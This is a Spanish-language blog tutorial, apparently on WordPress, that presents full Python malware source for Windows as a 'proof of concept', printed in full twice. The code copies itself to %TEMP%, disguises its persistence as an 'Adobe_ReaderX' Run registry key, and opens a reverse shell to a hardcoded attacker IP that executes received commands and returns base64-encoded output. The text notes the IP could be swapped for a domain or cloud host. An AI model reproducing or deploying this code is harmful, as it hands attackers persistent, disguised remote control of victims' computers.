como escribir un malware en Python

Este tutorial muestra algunas pruebas de concepto para la creación de malware utilizando Python y PyInstaller. En un tutorial anterior hemos demostrado cómo compilar una secuencia de comandos de Python como un ejecutable portable (PE) utilizando PyInstaller.   Ahora vamos a demostrar alguna prueba rápida de concepto de hacer algunas acciones maliciosas en un host de Windows.

Codificación del Malware:

Una de las cosas más comunes que encontrará con malware es que desean obtener la persistencia en la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes son de modificar la clave del Registro siguiente: “Software\Microsoft\Windows\CurrentVersion\Run”.  A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio  %TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:

  1. import sys, base64, os, socket, subprocess
  2. from _winreg import *
  3. def autorun(tempdir, fileName, run):
  4. # Copy executable to %TEMP%:
  5.     os.system('copy %s %s'%(fileName, tempdir))
  6. # Queries Windows registry for key values
  7. # Appends autorun key to runkey array
  8.     key = OpenKey(HKEY_LOCAL_MACHINE, run)
  9.     runkey =[]
  10.     try:
  11.         i = 0
  12.         while True:
  13.             subkey = EnumValue(key, i)
  14.             runkey.append(subkey[0])
  15.             i += 1
  16.     except WindowsError:
  17.         pass
  18. # Set autorun key:
  19.     if 'Adobe ReaderX' not in runkey:
  20.         try:
  21.             key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
  22.             SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
  23.             key.Close()
  24.         except WindowsError:
  25.             pass

Ahora que hemos copiado el archivo sobre el directorio% TEMP%, y la persistencia de configuración podemos ejecutar la siguiente parte del código, el shell inversa. Yo apalancadas un shell inversa Python publicado por TrustedSec e hice una modificación – Base64 codifica el tráfico de la red:

  1. def shell():
  2. #Base64 encoded reverse shell
  3.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4.     s.connect(('192.168.56.1', int(443)))
  5.     s.send('[*] Connection Established!')
  6.     while 1:
  7.         data = s.recv(1024)
  8.         if data == "quit": break
  9.         proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  10.         stdout_value = proc.stdout.read() + proc.stderr.read()
  11.         encoded = base64.b64encode(stdout_value)
  12.         s.send(encoded)
  13.         #s.send(stdout_value)
  14.     s.close()
  15. def main():
  16.     tempdir = '%TEMP%'
  17.     fileName = sys.argv[0]
  18.     run = "Software\Microsoft\Windows\CurrentVersion\Run"
  19.     autorun(tempdir, fileName, run)
  20.     shell()
  21. if __name__ == "__main__":
  22.         main()

Ahora cuando este programa lo ejecuta se abrirá un shell inversa de nuevo a la “atacante”, que en este caso es una IP codificado en el guión, pero podría ser fácilmente de dominio, o tal vez algo en la nube de Amazon. A continuación se muestra una captura de pantalla rápido demostrando el programa se ejecuta en un host de Windows y conectar de nuevo al atacante. Usted puede notar la red de tráfico está codificado en base64:

malware-1024x557

 

Aquí está el código completo:

  1. import sys, base64, os, socket, subprocess
  2. from _winreg import *
  3. def autorun(tempdir, fileName, run):
  4. # Copy executable to %TEMP%:
  5.     os.system('copy %s %s'%(fileName, tempdir))
  6. # Queries Windows registry for the autorun key value
  7. # Stores the key values in runkey array
  8.     key = OpenKey(HKEY_LOCAL_MACHINE, run)
  9.     runkey =[]
  10.     try:
  11.         i = 0
  12.         while True:
  13.             subkey = EnumValue(key, i)
  14.             runkey.append(subkey[0])
  15.             i += 1
  16.     except WindowsError:
  17.         pass
  18. # If the autorun key "Adobe ReaderX" isn't set this will set the key:
  19.     if 'Adobe ReaderX' not in runkey:
  20.         try:
  21.             key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
  22.             SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
  23.             key.Close()
  24.         except WindowsError:
  25.             pass
  26. def shell():
  27. #Base64 encoded reverse shell
  28.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  29.     s.connect(('192.168.56.1', int(443)))
  30.     s.send('[*] Connection Established!')
  31.     while 1:
  32.         data = s.recv(1024)
  33.         if data == "quit": break
  34.         proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  35.         stdout_value = proc.stdout.read() + proc.stderr.read()
  36.         encoded = base64.b64encode(stdout_value)
  37.         s.send(encoded)
  38.         #s.send(stdout_value)
  39.     s.close()
  40. def main():
  41.     tempdir = '%TEMP%'
  42.     fileName = sys.argv[0]
  43.     run = "Software\Microsoft\Windows\CurrentVersion\Run"
  44.     autorun(tempdir, fileName, run)
  45.     shell()
  46. if __name__ == "__main__":
  47.         main()

 

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s